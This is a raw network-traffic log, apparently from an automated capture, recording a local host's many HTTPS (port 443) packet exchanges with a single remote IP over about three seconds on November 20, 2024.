Nov 20, 2024 07:49:18.753047943 CET	49910	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.753200054 CET	49910	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.753213882 CET	443	49910	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.754307985 CET	49911	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.754348040 CET	443	49911	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.754403114 CET	49911	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.756190062 CET	49911	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.756207943 CET	443	49911	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.758239031 CET	49912	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.758275032 CET	443	49912	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.758332014 CET	49912	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.758456945 CET	49912	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.758469105 CET	443	49912	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.759273052 CET	49913	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.759299040 CET	443	49913	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.759350061 CET	49913	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.760725021 CET	49913	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.760735989 CET	443	49913	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.825800896 CET	443	49909	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.826118946 CET	443	49909	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.826179981 CET	49909	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.839623928 CET	49909	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.839623928 CET	49909	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.839643002 CET	443	49909	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.839653015 CET	443	49909	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.843214035 CET	49914	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.843239069 CET	443	49914	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.843300104 CET	49914	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.843718052 CET	49914	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.843727112 CET	443	49914	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.402709007 CET	443	49910	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.404697895 CET	49910	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.404748917 CET	443	49910	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.405232906 CET	49910	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.405241013 CET	443	49910	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.423258066 CET	443	49913	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.423274040 CET	443	49912	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.424170017 CET	49913	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.424191952 CET	443	49913	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.424206018 CET	49912	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.424233913 CET	443	49912	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.424732924 CET	49912	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.424737930 CET	443	49912	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.424956083 CET	49913	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.424962997 CET	443	49913	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.428138971 CET	443	49911	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.431427956 CET	49911	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.431456089 CET	443	49911	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.431822062 CET	49911	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.431828976 CET	443	49911	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.487235069 CET	443	49914	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.488621950 CET	49914	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.488665104 CET	443	49914	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.489100933 CET	49914	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.489111900 CET	443	49914	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.501493931 CET	443	49910	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.501713037 CET	443	49910	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.501780033 CET	49910	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.502043962 CET	49910	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.502067089 CET	443	49910	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.502079964 CET	49910	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.502089024 CET	443	49910	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.505703926 CET	49915	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.505733967 CET	443	49915	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.505789995 CET	49915	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.506062031 CET	49915	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.506073952 CET	443	49915	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.527940035 CET	443	49912	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.528256893 CET	443	49912	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.528311014 CET	49912	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.528337955 CET	49912	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.528352976 CET	443	49912	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.528362989 CET	49912	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.528367043 CET	443	49912	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.530791998 CET	49916	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.530848980 CET	443	49916	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.530860901 CET	443	49913	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.530924082 CET	49916	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.531078100 CET	443	49913	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.531102896 CET	49916	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.531122923 CET	443	49916	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.531131983 CET	49913	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.531168938 CET	49913	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.531177998 CET	443	49913	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.531186104 CET	49913	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.531189919 CET	443	49913	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.532140017 CET	443	49911	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.532283068 CET	443	49911	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.532339096 CET	443	49911	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.532356977 CET	49911	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.532382011 CET	49911	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.532526016 CET	49911	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.532540083 CET	443	49911	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.532552958 CET	49911	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.532558918 CET	443	49911	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.533303022 CET	49917	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.533405066 CET	443	49917	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.533512115 CET	49917	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.533658981 CET	49917	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.533694983 CET	443	49917	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.534483910 CET	49918	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.534496069 CET	443	49918	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.534557104 CET	49918	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.534651995 CET	49918	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.534667015 CET	443	49918	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.587227106 CET	443	49914	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.587295055 CET	443	49914	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.587507010 CET	49914	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.587507010 CET	49914	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.587553024 CET	49914	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.587570906 CET	443	49914	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.590085983 CET	49919	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.590121031 CET	443	49919	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:19.590225935 CET	49919	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.590361118 CET	49919	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:19.590387106 CET	443	49919	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.164472103 CET	443	49916	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.168550968 CET	49916	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.168570995 CET	443	49916	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.169053078 CET	49916	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.169059038 CET	443	49916	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.172130108 CET	443	49918	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.176145077 CET	49918	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.176163912 CET	443	49918	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.176619053 CET	49918	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.176625967 CET	443	49918	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.184457064 CET	443	49917	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.185189009 CET	443	49915	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.185564995 CET	49917	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.185580969 CET	49915	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.185621977 CET	443	49915	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.185631037 CET	443	49917	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.185980082 CET	49917	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.185993910 CET	443	49917	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.186038017 CET	49915	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.186048985 CET	443	49915	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.244098902 CET	443	49919	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.248356104 CET	49919	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.248451948 CET	443	49919	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.248823881 CET	49919	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.248838902 CET	443	49919	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.272242069 CET	443	49918	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.272387981 CET	443	49918	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.272552013 CET	49918	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.272769928 CET	49918	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.272797108 CET	443	49918	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.272811890 CET	49918	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.272819996 CET	443	49918	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.273829937 CET	443	49916	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.274069071 CET	443	49916	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.274115086 CET	443	49916	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.274137020 CET	49916	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.274178028 CET	49916	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.274363041 CET	49916	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.274369001 CET	443	49916	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.274382114 CET	49916	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.274385929 CET	443	49916	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.276679039 CET	49921	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.276684999 CET	49920	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.276715040 CET	443	49921	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.276763916 CET	443	49920	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.276854992 CET	49921	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.276976109 CET	49921	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.276983023 CET	49920	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.276984930 CET	443	49921	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.277045965 CET	49920	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.277067900 CET	443	49920	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.286734104 CET	443	49917	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.287178993 CET	443	49917	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.287225008 CET	443	49917	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.287265062 CET	49917	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.287292004 CET	49917	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.287458897 CET	49917	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.287480116 CET	443	49917	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.287494898 CET	49917	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.287503004 CET	443	49917	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.289828062 CET	49922	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.289876938 CET	443	49922	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.289977074 CET	49922	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.290085077 CET	49922	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.290113926 CET	443	49922	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.290488958 CET	443	49915	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.290519953 CET	443	49915	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.290585041 CET	49915	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.290616035 CET	443	49915	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.290697098 CET	49915	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.290697098 CET	49915	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.290708065 CET	443	49915	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.290730000 CET	443	49915	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.292474031 CET	49923	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.292534113 CET	443	49923	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.292623043 CET	49923	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.292742014 CET	49923	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.292767048 CET	443	49923	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.345918894 CET	443	49919	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.346081972 CET	443	49919	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.346138954 CET	443	49919	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.346210003 CET	49919	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.346261978 CET	49919	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.346506119 CET	49919	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.346524000 CET	443	49919	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.346538067 CET	49919	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.346544027 CET	443	49919	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.349575043 CET	49924	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.349625111 CET	443	49924	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.349728107 CET	49924	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.349884033 CET	49924	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.349898100 CET	443	49924	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.918908119 CET	443	49921	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.921016932 CET	49921	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.921046019 CET	443	49921	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.921570063 CET	49921	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.921575069 CET	443	49921	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.922322989 CET	443	49920	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.922871113 CET	49920	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.922925949 CET	443	49920	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.923352957 CET	49920	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.923368931 CET	443	49920	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.938054085 CET	443	49923	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.938536882 CET	49923	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.938561916 CET	443	49923	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.938951969 CET	49923	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.938956976 CET	443	49923	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.977972984 CET	443	49922	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.978740931 CET	49922	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.978780031 CET	443	49922	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.979628086 CET	49922	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.979655981 CET	443	49922	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.990027905 CET	443	49924	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.990441084 CET	49924	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.990483999 CET	443	49924	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:20.990879059 CET	49924	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:20.990885019 CET	443	49924	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.019033909 CET	443	49921	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.019239902 CET	443	49921	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.019336939 CET	49921	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.019819975 CET	49921	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.019869089 CET	443	49921	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.019897938 CET	49921	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.019932985 CET	443	49921	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.023546934 CET	443	49920	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.023597002 CET	443	49920	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.023654938 CET	49920	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.023680925 CET	443	49920	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.023863077 CET	443	49920	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.023925066 CET	49920	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.026637077 CET	49920	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.026678085 CET	443	49920	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.026704073 CET	49920	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.026720047 CET	443	49920	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.028927088 CET	49925	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.028956890 CET	443	49925	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.029026031 CET	49925	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.029341936 CET	49925	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.029352903 CET	443	49925	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.029932976 CET	49926	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.029972076 CET	443	49926	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.030184984 CET	49926	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.030390978 CET	49926	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.030405998 CET	443	49926	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.037595034 CET	443	49923	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.037836075 CET	443	49923	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.037893057 CET	443	49923	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.037903070 CET	49923	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.037966013 CET	49923	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.038002014 CET	49923	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.038002014 CET	49923	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.038027048 CET	443	49923	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.038049936 CET	443	49923	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.040302038 CET	49927	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.040333986 CET	443	49927	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.040410995 CET	49927	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.040534019 CET	49927	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.040555954 CET	443	49927	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.083738089 CET	443	49922	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.084032059 CET	443	49922	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.084095001 CET	443	49922	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.084111929 CET	49922	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.084151030 CET	49922	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.084518909 CET	49922	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.084551096 CET	443	49922	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.084575891 CET	49922	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.084589005 CET	443	49922	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.087265015 CET	49928	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.087376118 CET	443	49928	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.087470055 CET	49928	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.087615967 CET	49928	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.087646961 CET	443	49928	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.090135098 CET	443	49924	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.090279102 CET	443	49924	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.090338945 CET	49924	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.090368032 CET	49924	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.090394974 CET	443	49924	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.090408087 CET	49924	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.090413094 CET	443	49924	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.092392921 CET	49929	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.092427015 CET	443	49929	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.092494965 CET	49929	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.092649937 CET	49929	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.092660904 CET	443	49929	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.675117016 CET	443	49925	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.675919056 CET	49925	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.675937891 CET	443	49925	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.676450014 CET	49925	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.676455975 CET	443	49925	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.683785915 CET	443	49927	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.684165001 CET	49927	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.684174061 CET	443	49927	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.684564114 CET	49927	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.684567928 CET	443	49927	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.705467939 CET	443	49926	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.706310987 CET	49926	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.706341028 CET	443	49926	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.706710100 CET	49926	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.706717014 CET	443	49926	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.751498938 CET	443	49928	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.752233982 CET	49928	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.752259016 CET	443	49928	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.752804995 CET	49928	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.752837896 CET	443	49928	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.757181883 CET	443	49929	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.757602930 CET	49929	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.757627010 CET	443	49929	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.757966995 CET	49929	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.757972002 CET	443	49929	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.775809050 CET	443	49925	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.776611090 CET	443	49925	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.776698112 CET	49925	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.776765108 CET	49925	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.776765108 CET	49925	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.776798964 CET	443	49925	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.776823997 CET	443	49925	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.779983044 CET	49930	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.780011892 CET	443	49930	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.780081987 CET	49930	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.780247927 CET	49930	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.780256987 CET	443	49930	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.783348083 CET	443	49927	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.783376932 CET	443	49927	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.783422947 CET	443	49927	13.107.246.45	192.168.2.4
